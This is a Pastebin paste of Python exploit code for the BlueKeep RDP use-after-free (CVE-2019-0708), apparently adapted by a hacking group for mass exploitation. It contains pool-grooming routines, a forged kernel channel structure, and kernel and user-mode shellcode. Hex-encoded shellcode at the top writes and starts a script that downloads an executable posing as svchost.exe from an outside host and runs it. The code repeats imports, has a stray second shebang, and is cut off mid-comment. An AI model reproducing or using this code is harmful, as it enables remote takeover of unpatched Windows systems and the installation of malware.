KekSec

BLUEKEEP MASS EXPLOIT SCANNER BY FREAK

May 29th, 2020
1,108
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 51.80 KB | None | 0 0
  1. #!/usr/bin/env python3
  2. import sys
  3. import socket
  4. from base64 import b64decode
  5. import os
  6. import sys
  7. import struct
  8. import socket
  9. import hashlib
  10. import binascii
  11. import time
  12. import sys
  13. import struct
  14. import socket
  15. import ssl
  16. import time
  17. import binascii
  18. import traceback
  19. import argparse
  20. import errno
  21. import base64
  22. import threading
  23. import random
  24. from Crypto.Cipher import ARC4
  25. import ipaddress
  26.  
  27. buf =  b""
  28. buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
  29. buf += b"\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
  30. buf += b"\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
  31. buf += b"\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
  32. buf += b"\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
  33. buf += b"\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
  34. buf += b"\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
  35. buf += b"\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
  36. buf += b"\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
  37. buf += b"\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
  38. buf += b"\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00"
  39. buf += b"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d"
  40. buf += b"\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a"
  41. buf += b"\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53"
  42. buf += b"\xff\xd5\x43\x3a\x5c\x57\x69\x6e\x64\x6f\x77\x73\x5c"
  43. buf += b"\x53\x79\x73\x74\x65\x6d\x33\x32\x5c\x63\x6d\x64\x2e"
  44. buf += b"\x65\x78\x65\x20\x2f\x43\x20\x63\x64\x20\x25\x74\x65"
  45. buf += b"\x6d\x70\x25\x26\x65\x63\x68\x6f\x20\x53\x65\x74\x20"
  46. buf += b"\x51\x3d\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63"
  47. buf += b"\x74\x28\x22\x4d\x69\x63\x72\x6f\x73\x6f\x66\x74\x2e"
  48. buf += b"\x58\x4d\x4c\x48\x54\x54\x50\x22\x29\x3a\x51\x2e\x4f"
  49. buf += b"\x70\x65\x6e\x20\x22\x47\x45\x54\x22\x2c\x22\x68\x74"
  50. buf += b"\x74\x70\x3a\x2f\x2f\x64\x6f\x77\x6e\x6c\x6f\x61\x64"
  51. buf += b"\x2e\x6c\x6f\x67\x69\x6e\x73\x65\x72\x76\x2e\x6e\x65"
  52. buf += b"\x74\x2f\x73\x76\x63\x68\x6f\x73\x74\x2e\x65\x78\x65"
  53. buf += b"\x22\x2c\x46\x61\x6c\x73\x65\x3a\x51\x2e\x53\x65\x6e"
  54. buf += b"\x64\x3a\x53\x65\x74\x20\x42\x7a\x3d\x43\x72\x65\x61"
  55. buf += b"\x74\x65\x4f\x62\x6a\x65\x63\x74\x28\x22\x41\x44\x4f"
  56. buf += b"\x44\x42\x2e\x53\x74\x72\x65\x61\x6d\x22\x29\x3a\x42"
  57. buf += b"\x7a\x2e\x54\x79\x70\x65\x3d\x31\x3a\x42\x7a\x2e\x4f"
  58. buf += b"\x70\x65\x6e\x3a\x42\x7a\x2e\x57\x72\x69\x74\x65\x20"
  59. buf += b"\x51\x2e\x72\x65\x73\x70\x6f\x6e\x73\x65\x42\x6f\x64"
  60. buf += b"\x79\x3a\x42\x7a\x2e\x53\x61\x76\x65\x54\x6f\x46\x69"
  61. buf += b"\x6c\x65\x20\x22\x59\x2e\x65\x78\x65\x22\x2c\x32\x3a"
  62. buf += b"\x43\x72\x65\x61\x74\x65\x4f\x62\x6a\x65\x63\x74\x28"
  63. buf += b"\x22\x57\x53\x63\x72\x69\x70\x74\x2e\x53\x68\x65\x6c"
  64. buf += b"\x6c\x22\x29\x2e\x52\x75\x6e\x20\x22\x59\x2e\x65\x78"
  65. buf += b"\x65\x22\x3a\x20\x3e\x44\x4f\x2e\x76\x62\x73\x26\x73"
  66. buf += b"\x74\x61\x72\x74\x20\x77\x73\x63\x72\x69\x70\x74\x20"
  67. buf += b"\x44\x4f\x2e\x76\x62\x73\x00"
  68. #!/usr/bin/env python3
  69.  
  70. # Improvement ideas:
  71. # - can we use less channels for grooms?
  72. # - should we send a multi-TPKT message during free, wrapping it with channels?
  73. # - should we send a multi-TPKT message for egg grooms?
  74.  
  75. metadata = {
  76.     'name': 'CVE-2019-0708 BlueKeep RDP Remote Windows Kernel Use After Free',
  77.     'description': '''
  78.        The RDP termdd.sys driver improperly handles binds to internal-only channel MS_T120,
  79.        allowing a malformed Disconnect Provider Indication message to cause use-after-free.
  80.        With a controllable data/size remote nonpaged pool spray, an indirect call gadget of
  81.        the freed channel is used to achieve arbitrary code execution.
  82.  
  83.        TargetAddr = GROOMBASE + (0x400 * 1024 * GROOMSIZE)
  84.  
  85.        GROOMBASE examples:
  86.            - normal:   0xfffffa8002407000
  87.            - hotplug:  0xfffffa8012407000
  88.            - hyper-v:  0xfffffa8102407000
  89.    ''',
  90.     'authors': [
  91.         'ryHanson',
  92.         'zerosum0x0'
  93.     ],
  94.     'references': [
  95.         {'type': 'cve', 'ref': '2019-0708'},
  96.         {'type': 'url', 'ref': 'https://github.com/zerosum0x0/CVE-2019-0708'}
  97.     ],
  98.     'date': 'May 14 2019',
  99.     'type': 'remote_exploit',
  100.     'rank': 'average',
  101.     'privileged': True,
  102.     'wfsdelay': 5,
  103.     'targets': [
  104.         {'platform': 'win', 'arch': 'x64'}
  105.     ],
  106.     'options': {
  107.         'RHOST': {'type': 'address', 'description': 'Target server', 'required': True, 'default': None},
  108.         'RPORT': {'type': 'port', 'description': 'Target server port', 'required': True, 'default': 3389},
  109.         'SSLVersion': {'type': 'string', 'description': 'SSL/TLS version', 'required': True, 'default': 'TLSv1'},
  110.         'GROOM' : {'type': 'string', 'description': 'type of groom', 'required': True, 'default': 'chunk'},
  111.         'GROOMWAITDELTA' : {'type': 'int', 'description': 'delta wait for grooming (crash avoidance)', 'required': True, 'default': 65},
  112.         'GROOMWAITMIN' : {'type': 'int', 'description': 'minimum to wait after grooming (crash avoidance)', 'required': True, 'default': 5},
  113.         'GROOMCHANNEL' : {'type': 'string', 'description': 'channel to groom (advanced)', 'required': True, 'default': 'RDPSND'},
  114.         'GROOMCHANNELCOUNT' : {'type': 'int', 'description': 'number of channels to groom (advanced)', 'required': True, 'default': 1},
  115.         'GROOMSIZE' : {'type': 'int', 'description': 'size of the groom in MB', 'required': True, 'default': 250},
  116.         'GROOMBASE' : {'type': 'int', 'description': 'target NPP start/base address (manual)', 'required': True, 'default': 0xfffffa8002407000}  #  = '0xfffffa8021807000'
  117.  
  118.         #'GROOMSIZE' : {'type': 'int', 'description': 'size of the groom in MB', 'required': True, 'default': 200},
  119.         #'GROOMTARGET' : {'type': 'int', 'description': 'target address for shellcode', 'required': True, 'default': 0xfffffa8010000000}
  120.         # TODO: add advanced options to tune the groom parameters, etc.
  121.     },
  122.     'notes': {
  123.         'AKA': ['BlueKeep']
  124.     }
  125. }
  126.  
  127.  
  128. offsets = {
  129.     'Win7x64' :
  130.     {
  131.         'CHANNEL_JMP_ADDR' : 0x100,
  132.     }
  133. }
  134.  
  135. '''
  136. ba e 1 termdd!IcaChannelInputInternal+0x45d "r rax; g;"
  137. bp rdpdr!VirtualChannel::SubmitClose
  138. bp rdpdr!TSQueueWorker+0xa0 ".printf \"RDPDR poi(%p) == %p  (%ly)\\n\", rbx, poi(rbx), poi(rbx); g"
  139. bp rdpdr!TSQueueWorker+0x7e ".printf \"RDPDR->fnPtr = %ly\\n\", r11; g"
  140. ba e 1 RDPWD!MCSIcaRawInputWorker ".printf \"RAW: %d\\n\", r8; db rdx rdx+r8; g"
  141. '''
  142. class GroomStrategy(object):
  143.     def __init__(self, client, args):
  144.         self.client = client
  145.         self.args = args
  146.  
  147.     @staticmethod
  148.     def factory(client, args):
  149.         name = args['GROOM'].lower()
  150.  
  151.         if name == 'frag':
  152.             return FragGroomStrategy(client, args)
  153.         elif name == 'chunk':
  154.             return ChunkGroomStrategy(client, args)
  155.  
  156.         return None
  157.  
  158.     def before_connect(self):
  159.         pass
  160.  
  161.     def after_handshake(self):
  162.         pass
  163.  
  164.     def trigger_free(self, send = True):
  165.         print_warning("<---------------- | Entering Danger Zone | ---------------->", self.args)
  166.         print_status("\tTriggering free!", self.args)
  167.         # malformed Disconnect Provider Indication PDU (opcode: 0x2, total_size != 0x20)
  168.         pkt = b""
  169.         pkt += b"\x00\x00\x00\x00\x00\x00\x00\x00\x02" # offset +0x8 = opcode
  170.         pkt += b"\x00" * 0x22
  171.  
  172.         mst120 = self.client.find_channel_by_name("MS_T120")
  173.         tpkt = self.client.make_channel_raw(mst120.channel_id, pkt, len(pkt), 3)
  174.         if send:
  175.             self.transport_write(tpkt)
  176.  
  177.         return tpkt
  178.  
  179.     def trigger_use(self):
  180.         print_status("\tTriggering use!", self.args)
  181.         print_warning("<---------------- | Leaving Danger Zone | ---------------->", self.args)
  182.         # Disconnect Provider Ultimatum will force use of channel
  183.         self.client.terminate_connection()
  184.         self.client.disconnect()
  185.  
  186.     def generate_payloads(self, header_offset = 0x38):
  187.         for payload in self.payloads:
  188.             yield payload[header_offset:]
  189.  
  190.     def make_channel(self, header_offset = 0x38):
  191.         return self.channel[header_offset:]
  192.  
  193.  
  194. class FragGroomStrategy(GroomStrategy):
  195.     def before_connect(self):
  196.         # bind raw sock
  197.         pass
  198.  
  199.     def after_handshake(self):
  200.         pass
  201.  
  202.     def send_frag_packet(self, alloc_size):
  203.         pass
  204.  
  205.  
  206. class ChunkGroomStrategy(GroomStrategy):
  207.     def __init__(self, client, args):
  208.         super(ChunkGroomStrategy, self).__init__(client, args)
  209.         # TODO: Find better address that works for both Win7 and 2008
  210.         self.pool_addr = int(args['GROOMBASE']) + (0x400 * 1024 * int(args['GROOMSIZE']))
  211.         self.args = args
  212.     def after_handshake(self):
  213.         fake_channel = self.create_fake_channel()
  214.         payloads = self.create_payloads()
  215.  
  216.         vprint_status("Using CHUNK groom strategy. %dMB -> 0x%x" % (int(self.args['GROOMSIZE']), self.pool_addr), self.args)
  217.  
  218.         #log(repr(payloads))
  219.  
  220.         try:
  221.             start_id = 0x3ed
  222.             start = time.time()
  223.  
  224.             max_channel = start_id + int(self.args['GROOMCHANNELCOUNT'])
  225.  
  226.             channel_filler_tpkt = self.client.make_channel_raw(start_id, fake_channel, 0x0fffffff, 0)
  227.  
  228.             # send initial grooms
  229.             self.client.transport_write(channel_filler_tpkt * 1024)
  230.  
  231.             # send wrapped free trigger
  232.             trigger_tpkt = channel_filler_tpkt * 20
  233.             trigger_tpkt += self.trigger_free(False)
  234.             trigger_tpkt += channel_filler_tpkt * 80
  235.  
  236.             #print_status(repr(trigger_tpkt))
  237.  
  238.             self.client.transport_write(trigger_tpkt)
  239.  
  240.             tpkts = b""
  241.             for i in range(0x40, 2048):
  242.                 for id in range(start_id, max_channel):
  243.                     tpkts += channel_filler_tpkt
  244.  
  245.                 if (len(tpkts) > 0x420):
  246.                     self.client.transport_write(tpkts)
  247.                     tpkts = b""
  248.                 print_status_counter("\t\tSurfing channels...\t", i, 0x800, 0x40)
  249.  
  250.             groomMB = int(self.args['GROOMSIZE'] * (1024 / len(payloads)))  # 0x400 is 1kib
  251.  
  252.             for i in range(0, groomMB):
  253.                 tpkts = b""
  254.                 for id in range(start_id, max_channel):
  255.                     for payload in payloads:
  256.                         tpkts += self.client.make_channel_raw(id, payload, 0x0fffffff, 0)
  257.                 self.client.transport_write(tpkts)
  258.                 if ((time.time() - start) + 1) % 10 == 0:
  259.                     self.client.transport_write(b"\x04\x80\x0a\x20\x00\x08\xff\x03\x26\x01")
  260.                 print_status_counter("\t\tLobbing eggs...\t\t", i, groomMB)
  261.  
  262.             secs = int(self.args['GROOMWAITDELTA']) - (time.time() - start) + 1
  263.  
  264.             gwm = int(self.args['GROOMWAITMIN'])
  265.             if secs < gwm:
  266.                 secs = gwm
  267.  
  268.             if secs > 0:
  269.                 input_fpdu = b"\x04\x80\x0a\x20\x00\x08\xff\x03\x26\x01"
  270.                 #print_sleep("\t\tWaiting a lil...\t", secs, self.client, input_fpdu)
  271.  
  272.             self.trigger_use()
  273.         except socket.error as e:
  274.             if e.errno == errno.ECONNRESET:
  275.                 print_bad("Connection reset: Groom failed! (Avoided crash... hopefully)", args)
  276.             else:
  277.                 raise e
  278.  
  279.     def create_fake_channel(self):  #TODO: Integrate with base class make_channel
  280.         overspray_addr = self.pool_addr + 0x2000         # 0xfffffa801c902000
  281.         shellcode_vtbl = self.pool_addr + 0x48           # 0xfffffa801c900048
  282.  
  283.         chan = b""
  284.         # first 0x38 bytes are used by DATA PDU packet
  285.         # fake channel starts at +0x38, which is +0x20 of an _ERESOURCE
  286.         chan += struct.pack('<Q', 0x00);                # 0x38 00000020 SharedWaiters QWORD
  287.         chan += struct.pack('<Q', 0x00);                # 0x40 00000028 ExclusiveWaiters QWORD
  288.         chan += struct.pack('<Q', overspray_addr+0x48)  # 0x48 00000030 OwnerEntry      _OWNER_ENTRY
  289.         chan += struct.pack('<Q', overspray_addr+0x48)       # 0x50 00000038 OwnerEntry      _OWNER_ENTRY
  290.         chan += struct.pack('<I', 0x00);                # 0x58 00000040 ActiveEntries   DWORD
  291.         chan += struct.pack('<I', 0x00);                # 0x5c 00000044 ContentionCount DWORD
  292.         chan += struct.pack('<I', 0x00);                # 0x60 00000048 NumberOfSharedWaiters DWORD
  293.         chan += struct.pack('<I', 0x00);                # 0x64 0000004C NumberOfExclusiveWaiters DWORD
  294.         chan += struct.pack('<Q', 0x00);                # 0x68 00000050 Reserved2       QWORD
  295.         chan += struct.pack('<Q', overspray_addr+0x48)       # 0x70 00000058 Address         QWORD / CreatorBackTraceIndex QWORD
  296.         chan += struct.pack('<Q', 0x00);                # 0x78 00000060 SpinLock        QWORD
  297.  
  298.         # 00000080 resource2 _ERESOURCE
  299.         chan += struct.pack('<Q', overspray_addr+0x48)  # 0x80 + 00000000 SystemResourcesList _LIST_ENTRY
  300.         chan += struct.pack('<Q', overspray_addr+0x48)  # 0x80 + 00000008 SystemResourcesList _LIST_ENTRY
  301.         chan += struct.pack('<Q', 0x00);                # 0x80 + 00000010 OwnerTable      QWORD
  302.         chan += struct.pack('<H', 0x00);                # 0x80 + 00000018 ActiveCount     WORD
  303.         chan += struct.pack('<H', 0x00);                # 0x80 + 0000001A Flag            WORD
  304.         chan += struct.pack('<I', 0x00);                # 0x80 + 0000001C Pad DWORD
  305.         chan += struct.pack('<Q', 0x00);                # 0x80 + 00000020 SharedWaiters
  306.         chan += struct.pack('<Q', 0x00);                # 0x80 + 00000028 ExclusiveWaiters QWORD
  307.         chan += struct.pack('<Q', overspray_addr+0x48)  # 0x80 + 00000030 OwnerEntry      _OWNER_ENTRY
  308.         chan += struct.pack('<Q', overspray_addr+0x48)  # 0x80 + 00000038 OwnerEntry      _OWNER_ENTRY
  309.         chan += struct.pack('<I', 0x00);                # 0x80 + 00000040 ActiveEntries   DWORD
  310.         chan += struct.pack('<I', 0x00);                # 0x80 + 00000044 ContentionCount DWORD
  311.         chan += struct.pack('<I', 0x00);                # 0x80 + 00000048 NumberOfSharedWaiters DWORD
  312.         chan += struct.pack('<I', 0x00);                # 0x80 + 0000004C NumberOfExclusiveWaiters DWORD
  313.         chan += struct.pack('<Q', 0x00);                # 0x80 + 00000050 Reserved2       QWORD
  314.         chan += struct.pack('<Q', overspray_addr+0x48)  # 0x80 + 00000058 Address         QWORD / CreatorBackTraceIndex QWORD
  315.         chan += struct.pack('<Q', 0x00);                # 0x80 + 00000060 SpinLock        QWORD
  316.  
  317.         chan += struct.pack('<I', 0x1f);                # 0xb0 000000E8 classOffset     DWORD
  318.         chan += struct.pack('<I', 0x00);                # 0xb4 000000EC bindStatus      DWORD
  319.         chan += struct.pack('<Q', 0x72);                # 0xb8 000000F0 lockCount1      QWORD
  320.         chan += struct.pack('<Q', overspray_addr+0x448) # 0xc0 000000F8 connection      QWORD
  321.         chan += struct.pack('<Q', shellcode_vtbl)       # 0xc8 00000100 shellcode vtbl  QWORD
  322.         chan += struct.pack('<I', 0x05);                # 0xd0 00000108 channelClass    DWORD
  323.         chan += b"MS_T120\x00"                          # 0xd4 0000010C channelName     CHAR[8]
  324.         chan += struct.pack('<I', 0x1f);                # 0xdc 00000114 channelIndex    DWORD
  325.         chan += struct.pack('<Q', overspray_addr+0x810) # 0xe0 00000118 channels        QWORD
  326.         chan += struct.pack('<Q', overspray_addr+0x810) # 0xe8 00000120 connChannelsAddr QWORD
  327.         chan += struct.pack('<Q', overspray_addr+0x810) # 0xf0 00000128 list1           _LIST_ENTRY
  328.         chan += struct.pack('<Q', overspray_addr+0x810) # 0xf8 00000130 list1           _LIST_ENTRY
  329.         chan += struct.pack('<Q', overspray_addr+0x810) # 0x100 00000138 list2          _LIST_ENTRY
  330.         chan += struct.pack('<Q', overspray_addr+0x810) # 0x108 00000140 list2          _LIST_ENTRY
  331.         chan += struct.pack('<I', 0x65756c62);          # 0x110 00000148 inputBufferLen  DWORD
  332.         chan += struct.pack('<I', 0x7065656b);          # 0x114 0000014C sysParams       DWORD
  333.         chan += struct.pack('<Q', overspray_addr+0x810) # 0x118 00000150 connResource    QWORD
  334.         chan += struct.pack('<I', 0x65756c62);          # 0x120 00000158 lockCount158    DWORD
  335.         chan += struct.pack('<I', 0x7065656b);          # 0x124 0000015C dword15C        DWORD
  336.         return chan
  337.  
  338.     def create_payloads(self, header_size = 0x48):
  339.         payloads = []
  340.         # TODO: don't hardcode eggs so bad?
  341.         kmode_egg = 0xb00dac0fefe42069
  342.         umode_egg = 0xb00dac0fefe31337
  343.  
  344.         # len(kmode) == 873 (0x0369)
  345.         kmode = b""
  346.         #kmode += b"\xcc"
  347.         kmode += b"\x90"
  348.         kmode += b"\x90"
  349.         kmode += b"\x90"
  350.         kmode += b"\x90"
  351.         kmode += b"\x55\xe8\x61\x00\x00\x00\xb9\x82\x00\x00\xc0\x0f\x32\x4c\x8d\x0d\x5b\x00\x00\x00\x44\x39\xc8\x74\x19\x39\x45\x00"
  352.         kmode += b"\x74\x0a\x89\x55\x04\x89\x45\x00\xc6\x45\xf8\x00\x49\x91\x50\x5a\x48\xc1\xea\x20\x0f\x30\x5d\x65\x48\x8b\x04\x25\x88\x01\x00\x00"
  353.         kmode += b"\x66\x83\x80\xc4\x01\x00\x00\x01\x4c\x8d\x9c\x24\xb8\x00\x00\x00\x31\xc0\x49\x8b\x5b\x30\x49\x8b\x6b\x40\x49\x8b\x73\x48\x4c\x89"
  354.         kmode += b"\xdc\x41\x5f\x41\x5e\x41\x5d\x41\x5c\x5f\xc3\x48\xc7\xc5\x00\x41\xd0\xff\xc3\x0f\x01\xf8\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65"
  355.         kmode += b"\x48\x8b\x24\x25\xa8\x01\x00\x00\x6a\x2b\x65\xff\x34\x25\x10\x00\x00\x00\x50\x50\x55\xe8\xd1\xff\xff\xff\x48\x8b\x45\x00\x48\x83"
  356.         kmode += b"\xc0\x1f\x48\x89\x44\x24\x10\x51\x52\x41\x50\x41\x51\x41\x52\x41\x53\x31\xc0\xb2\x01\xf0\x0f\xb0\x55\xf8\x75\x14\xb9\x82\x00\x00"
  357.         kmode += b"\xc0\x8b\x45\x00\x8b\x55\x04\x0f\x30\xfb\xe8\x0e\x00\x00\x00\xfa\x41\x5b\x41\x5a\x41\x59\x41\x58\x5a\x59\x5d\x58\xc3\x41\x57\x41"
  358.         kmode += b"\x56\x57\x56\x53\x50\x4c\x8b\x7d\x00\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x66\x41\x81\x3f\x4d\x5a\x75\xf1"
  359.         kmode += b"\x4c\x89\x7d\x08\x65\x4c\x8b\x34\x25\x88\x01\x00\x00\xbf\x78\x7c\xf4\xdb\xe8\x13\x01\x00\x00\x48\x91\xbf\x3f\x5f\x64\x77\xe8\x0e"
  360.         kmode += b"\x01\x00\x00\x8b\x40\x03\x89\xc3\x3d\x00\x04\x00\x00\x72\x03\x83\xc0\x10\x48\x8d\x50\x28\x4c\x8d\x04\x11\x4d\x89\xc1\x4d\x8b\x09"
  361.         kmode += b"\x4d\x39\xc8\x0f\x84\xd8\x00\x00\x00\x4c\x89\xc8\x4c\x29\xf0\x48\x3d\x00\x07\x00\x00\x77\xe6\x4d\x29\xce\xbf\xe1\x14\x01\x17\xe8"
  362.         kmode += b"\xcd\x00\x00\x00\x8b\x78\x03\x83\xc7\x08\x31\xc0\x48\x8d\x34\x19\x50\xe8\x03\x01\x00\x00\x3d\xd8\x83\xe0\x3e\x58\x74\x1e\x48\xff"
  363.         kmode += b"\xc0\x48\x3d\x00\x03\x00\x00\x75\x0a\x31\xc9\x88\x4d\xf8\xe9\x8e\x00\x00\x00\x48\x8b\x0c\x39\x48\x29\xf9\xeb\xd0\xbf\x48\xb8\x18"
  364.         kmode += b"\xb8\xe8\x84\x00\x00\x00\x48\x89\x45\xf0\x48\x8d\x34\x11\x48\x89\xf3\x48\x8b\x5b\x08\x48\x39\xde\x74\xf7\x4a\x8d\x14\x33\xbf\x3e"
  365.         kmode += b"\x4c\xf8\xce\xe8\x69\x00\x00\x00\x8b\x40\x03\x48\x83\x7c\x02\xf8\x00\x74\xde\x48\x8d\x4d\x10\x4d\x31\xc0\x4c\x8d\x0d\xa9\x00\x00"
  366.         kmode += b"\x00\x55\x6a\x01\x55\x41\x50\x48\x83\xec\x20\xbf\xc4\x5c\x19\x6d\xe8\x35\x00\x00\x00\x48\x8d\x4d\x10\x4d\x31\xc9\xbf\x34\x46\xcc"
  367.         kmode += b"\xaf\xe8\x24\x00\x00\x00\x48\x83\xc4\x40\x85\xc0\x74\xa3\x48\x8b\x45\x20\x80\x78\x1a\x01\x74\x09\x48\x89\x00\x48\x89\x40\x08\xeb"
  368.         kmode += b"\x90\x58\x5b\x5e\x5f\x41\x5e\x41\x5f\xc3\xe8\x02\x00\x00\x00\xff\xe0\x53\x51\x56\x41\x8b\x47\x3c\x41\x8b\x84\x07\x88\x00\x00\x00"
  369.         kmode += b"\x4c\x01\xf8\x50\x8b\x48\x18\x8b\x58\x20\x4c\x01\xfb\xff\xc9\x8b\x34\x8b\x4c\x01\xfe\xe8\x1f\x00\x00\x00\x39\xf8\x75\xef\x58\x8b"
  370.         kmode += b"\x58\x24\x4c\x01\xfb\x66\x8b\x0c\x4b\x8b\x58\x1c\x4c\x01\xfb\x8b\x04\x8b\x4c\x01\xf8\x5e\x59\x5b\xc3\x52\x31\xc0\x99\xac\xc1\xca"
  371.         kmode += b"\x0d\x01\xc2\x85\xc0\x75\xf6\x92\x5a\xc3\x55\x53\x57\x56\x41\x57\x49\x8b\x28\x4c\x8b\x7d\x08\x52\x5e\x4c\x89\xcb\x31\xc0\x44\x0f"
  372.         kmode += b"\x22\xc0\x48\x89\x02\x89\xc1\x48\xf7\xd1\x49\x89\xc0\xb0\x40\x50\xc1\xe0\x06\x50\x49\x89\x01\x48\x83\xec\x20\xbf\xea\x99\x6e\x57"
  373.         kmode += b"\xe8\x65\xff\xff\xff\x48\x83\xc4\x30\x85\xc0\x75\x6d\x48\x8b\x3e\x57\x48\x8d\x35\x28\xfd\xff\xff\x48\xbf\x37\x13\xe3\xef\x0f\xac"
  374.         kmode += b"\x0d\xb0\x48\x81\xee\x00\x04\x00\x00\x48\x8b\x46\xf8\x48\x39\xf8\x75\xf0\x48\xff\xc6\x48\x8b\x46\xf8\x48\x39\xf8\x75\xf4\x5f\xb9"
  375.         kmode += b"\x80\x03\x00\x00\xf3\xa4\x48\x8b\x45\xf0\x48\x8b\x40\x18\x48\x8b\x40\x20\x48\x8b\x00\x66\x83\x78\x48\x18\x75\xf6\x48\x8b\x50\x50"
  376.         kmode += b"\x81\x7a\x0c\x33\x00\x32\x00\x75\xe9\x4c\x8b\x78\x20\xbf\x5e\x51\x5e\x83\xe8\xfa\xfe\xff\xff\x48\x89\x03\x31\xc9\x88\x4d\xf8\xb1"
  377.         kmode += b"\x01\x44\x0f\x22\xc1\x41\x5f\x5e\x5f\x5b\x5d\xc3\x48\x92\x31\xc9\x51\x51\x49\x89\xc9\x4c\x8d\x05\x0d\x00\x00\x00\x89\xca\x48\x83"
  378.         kmode += b"\xec\x20\xff\xd0\x48\x83\xc4\x30\xc3"
  379.  
  380.  
  381.  
  382.         umode = b'H\x8d\r\xf9\xff\xff\xffI\xb8i \xe4\xef\x0f\xac\r\xb0H\x81\xe9\x00\x04\x00\x00H\x8bQ\xf8L9\xc2u\xf0\xff\xe1'
  383.         umode += struct.pack('<Q', umode_egg) # umode requires two eggs for variable eggfinder gadget
  384.         umode += buf
  385.  
  386.  
  387.         payloads.append(self.create_shellcode(buf, kmode_egg, header_size))
  388.         payloads.append(self.create_shellcode(buf, umode_egg, header_size))
  389.  
  390.         open('kernel.python', 'wb').write(payloads[0])
  391.         open('user.python', 'wb').write(payloads[1]);
  392.  
  393.         return payloads
  394.  
  395.     def create_shellcode(self, payload, egg = 0xb00dac0fefe42069, header_size = 0x48): #TODO: Integrate with base class generate payloads
  396.         max_size = 0x400 - header_size
  397.         p = b""
  398.         # This vtable should land at address: pool_addr+0x48
  399.         # First entry is a ptr to shellcode : pool_addr+0x50
  400.         #p += struct.pack('<Q', self.pool_addr+0x50)
  401.         p += struct.pack('<Q', self.pool_addr + header_size + 0x10)  # indirect call gadget, over this pointer + egg
  402.         p += struct.pack('<Q', egg)
  403.         p += payload
  404.         p += b"\x00" * (max_size - len(p))
  405.         return p
  406.  
  407. '''
  408. Generic RDP channel that can recv and send messages
  409. '''
  410. class RdpChannel(object):
  411.     def __init__(self, name, flags = 0x80000000):
  412.         self.name = name
  413.         self.flags = flags
  414.  
  415.         # kludges
  416.         self.channel_id = -1
  417.         self.client = None
  418.  
  419.     def on_data_received(self, client, data, flags, full_pkt):
  420.         self.client.print_func("[%s] Recv data (%d): %s" % (self.name, len(data), binascii.hexlify(data)[0:50]))
  421.  
  422.     def send_message(self, data):
  423.         self.client.print_func("[%s] Send message (%d): %s" % (self.name, len(data), binascii.hexlify(data)[0:50]))
  424.         self.client.send_channel_message(self.channel_id, data)
  425.  
  426.     def send_raw(self, data, total_length, flags = 0):
  427.         self.client.print_func("[%s] Send raw (%d): %s" % (self.name, len(data), binascii.hexlify(data)[0:50]))
  428.         self.client.send_channel_raw(self.channel_id, data, total_length, flags)
  429.  
  430. '''
  431. A custom RDPDR client implementation that runs the primary exploit
  432. '''
  433. class ExploitRdpdrChannel(RdpChannel):
  434.     def __init__(self, groom_strategy):
  435.         super(ExploitRdpdrChannel, self).__init__("rdpdr", 0x80800000)
  436.         self.groom_strategy = groom_strategy
  437.  
  438.     def on_data_received(self, client, data, flags, full_pkt):
  439.         super(ExploitRdpdrChannel, self).on_data_received(client, data, flags, full_pkt)
  440.  
  441.         ctyp = struct.unpack("<H", data[0:2])[0]
  442.         if ctyp != 0x4472:  # Header->RDPDR_CTYP_CORE = 0x4472
  443.             return
  444.  
  445.         # opcodes = https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpefs/29d4108f-8163-4a67-8271-e48c4b9c2a7c
  446.         opcode = struct.unpack("<H", data[2:4])[0]
  447.  
  448.         # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpefs/7500118a-c1f2-45ff-a67e-a09682940402
  449.         if opcode == 0x496e: # Server Device Announce Response
  450.             self.client.print_func("[rdpdr] Header->PAKID_CORE_SERVER_ANNOUNCE = 0x496e")
  451.             #vprint_status("Got RDPDR announce.")
  452.             self.send_message(self.rdpdr_client_announce_reply())
  453.             self.send_message(self.rdpdr_client_name_request())
  454.         elif opcode == 0x5350:
  455.             self.client.print_func("[rdpdr] Header->PAKID_CORE_SERVER_CAPABILITY = 0x5350")
  456.             reply = data[:3] + b"\x43" + data[4:] # for this, we change opcode 1 byte to match server capabilities. (0x4350)
  457.             self.send_message(reply)
  458.         elif opcode == 0x4343:  # Server Client ID confirm
  459.             self.client.print_func("[rdpdr] Header->PAKID_CORE_CLIENTID_CONFIRM = 0x4343")
  460.             self.send_message(self.rdpdr_client_device_list_announce_request())
  461.  
  462.             # Groom the pool!
  463.             #vprint_status("Completed RDPDR handshake!")
  464.  
  465.             self.groom_strategy.after_handshake()
  466.         else:
  467.             self.client.print_func("[rdpdr] unknown opcode (%04x)" % (opcode))
  468.  
  469.         #sys.exit(0)
  470.  
  471.         # rdpdr closes channel on us if first packet is invalid, this one allows arbitrary size
  472.         #p = b""
  473.         #p += b"\x72\x44"                # Header->RDPDR_CTYP_CORE = 0x4472
  474.         #p += b"\x4d\x44"                # Header->PAKID_CORE_DEVICELIST_REMOVE =  0x444d
  475.         #p += b"\xff\xff\xff\x00"        # size in bytes * 4
  476.         #p += b"\x01\x00\x00\x00"
  477.  
  478.         #for id in range(0x3ec, 0x3f0):
  479.         #    self.client.send_channel_raw(id, p, 0x0fffffff, 1) #
